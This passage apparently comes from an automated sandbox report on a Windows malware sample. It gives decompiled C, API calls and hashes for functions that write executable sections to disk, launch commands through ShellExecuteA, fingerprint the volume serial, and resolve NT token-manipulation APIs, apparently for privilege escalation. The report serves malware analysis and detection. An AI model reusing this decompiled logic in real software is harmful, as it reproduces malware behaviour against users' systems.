						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00434A70, Relevance: 4.6, APIs: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 00434A95

Part of subcall function 00430250: ___crtCorExitProcess.LIBCMTD ref: 00430259

RtlAllocateHeap.NTDLL(00455F1C,00000000,00000001), ref: 00434AC8

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: b489a9742a8fa1842975edc43eb9dde78b4a0323e731f04b9fc37055c0587a8d
Instruction ID: aa4f5c7336e0282ff01d3d3d00c0cd52f31cb0cbf053d8ddb5dd5a84429638b5
Opcode Fuzzy Hash: b489a9742a8fa1842975edc43eb9dde78b4a0323e731f04b9fc37055c0587a8d
Instruction Fuzzy Hash: FF11C875800208EBDB10EF64D8957EE37B4EB88309F14916AF9054B392D378FA84CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00432020, Relevance: 3.3, APIs: 2, Instructions: 326COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 004320AB
__nh_malloc_dbg.LIBCMTD ref: 004321D7

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 2523984899b5f2cfb0bfd38f1889a93eedc8d048b96723a1eb84780ea3d00943
Instruction ID: 7106269ef73f95c68b5f0664ebf9c15fcd685bd1b3e545523b9ddbb3ec6b6944
Opcode Fuzzy Hash: 2523984899b5f2cfb0bfd38f1889a93eedc8d048b96723a1eb84780ea3d00943
Instruction Fuzzy Hash: 0CE11774E04248CFDB24CFA8C994BADBBB1BB4D314F24825ED8656B392C7789842CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00540DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00540223,?,?), ref: 00540E02
SetErrorMode.KERNELBASE(00000000,?,?,00540223,?,?), ref: 00540E07

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 17309f01083f84a4a67546b1d5688cdae1751a71bce52f35ee4796e67ce8177b
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 7DD0123114512C77D7002E94DC09BCD7F1C9F05B66F108011FB0DDD181C770995046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x85123cc1
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x85123cc1
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00773C95, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00773CDD

Memory Dump Source

Source File: 00000012.00000002.391185286.0000000000771000.00000040.00000001.sdmp, Offset: 00771000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a0db304c50854107fa7247b6844606d3be53546af6ded48a5a8913fbf2bee159
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: A8F0F631200310ABEB213BF4988CB6E72ECAF49364F104628F74BA10C0DB78ED455A71

Uniqueness

Uniqueness Score: -1.00%

Function 0042E1C0, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 0042E1C7

Part of subcall function 0042E0F0: __crt_wait_module_handle.LIBCMTD ref: 0042E13C
Part of subcall function 0042E0F0: RtlEncodePointer.NTDLL(?), ref: 0042E177

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 3c38e7caae97d1e5341ef89e0561634185a76d071721ecc6512d0ef908c11073
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: B4A0126254422823D40020833803F02350C43D0B38E480021F50C051422CC2A4214097

Uniqueness

Uniqueness Score: -1.00%

Function 00422BE0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 00422BE5

Part of subcall function 00422C00: _check_managed_app.LIBCMTD ref: 00422C7C
Part of subcall function 00422C00: __heap_init.LIBCMTD ref: 00422C86
Part of subcall function 00422C00: _fast_error_exit.LIBCMTD ref: 00422C94
Part of subcall function 00422C00: __mtinit.LIBCMTD ref: 00422C9C
Part of subcall function 00422C00: _fast_error_exit.LIBCMTD ref: 00422CA7
Part of subcall function 00422C00: __RTC_Initialize.LIBCMTD ref: 00422CB9
Part of subcall function 00422C00: ___crtGetEnvironmentStringsW.LIBCMTD ref: 00422CE2
Part of subcall function 00422C00: ___wsetargv.LIBCMTD ref: 00422CEC
Part of subcall function 00422C00: __wsetenvp.LIBCMTD ref: 00422CFF
Part of subcall function 00422C00: __cinit.LIBCMTD ref: 00422D14
Part of subcall function 00422C00: __wwincmdln.LIBCMTD ref: 00422D31

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 26bb2ed4e2e2dfabf55f3f66f8c33786636ea2f582c48e8be1acdd1745480f73
Instruction ID: 691437f34af75417842353834bf41f05f7ee4665368fdb7294745590715276a6
Opcode Fuzzy Hash: 26bb2ed4e2e2dfabf55f3f66f8c33786636ea2f582c48e8be1acdd1745480f73
Instruction Fuzzy Hash: 92A0027314465C36055033E7371B91E764D48C473CFE6105BB51C165432CDDAA9140AE

Uniqueness

Uniqueness Score: -1.00%

Function 00540920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00540929

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction ID: c0089d607f9342f2c15a261cd068abafb40f64debc35d3030ca853ef88393cfd
Opcode Fuzzy Hash: 7ba80916a48acbfb0f046a5eb73e9b1892c8f9a247d3f52fd2d0df5884ae7060
Instruction Fuzzy Hash: 879004F07441F051DC3035DC0C01F4500111741775F7037107130FF1D4DF4455000115

Uniqueness

Uniqueness Score: -1.00%

Function 00773954, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 007739A5

Memory Dump Source

Source File: 00000012.00000002.391185286.0000000000771000.00000040.00000001.sdmp, Offset: 00771000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 8e0d4b3bb27ff8f6c9ec7c1b17185505ff73691dec067ec42a742172ae2a367d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 22112D79A00208EFDB01DF98C985E99BBF5AF08350F058094F9489B362D775EA50EF90

Uniqueness

Uniqueness Score: -1.00%

Function 0041C4B3, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041CA51,?,?,?,?,00422D65,00400000,00000000,?,0000000A), ref: 0041C4BB

Memory Dump Source

Source File: 00000012.00000002.390784904.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 20219e7bd8026a9c86021a2c8c5cb1bd84f489be4329c7e0c2d298ceef9aedeb
Instruction ID: 9395c2d7e58cf4def23ca0adf55bc2a3447599e12072a450543ef3d0ea469753
Opcode Fuzzy Hash: 20219e7bd8026a9c86021a2c8c5cb1bd84f489be4329c7e0c2d298ceef9aedeb
Instruction Fuzzy Hash: CDB012744007009BD7000F70AD047043A61A30C343F004034E210901B5E73140009F0C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
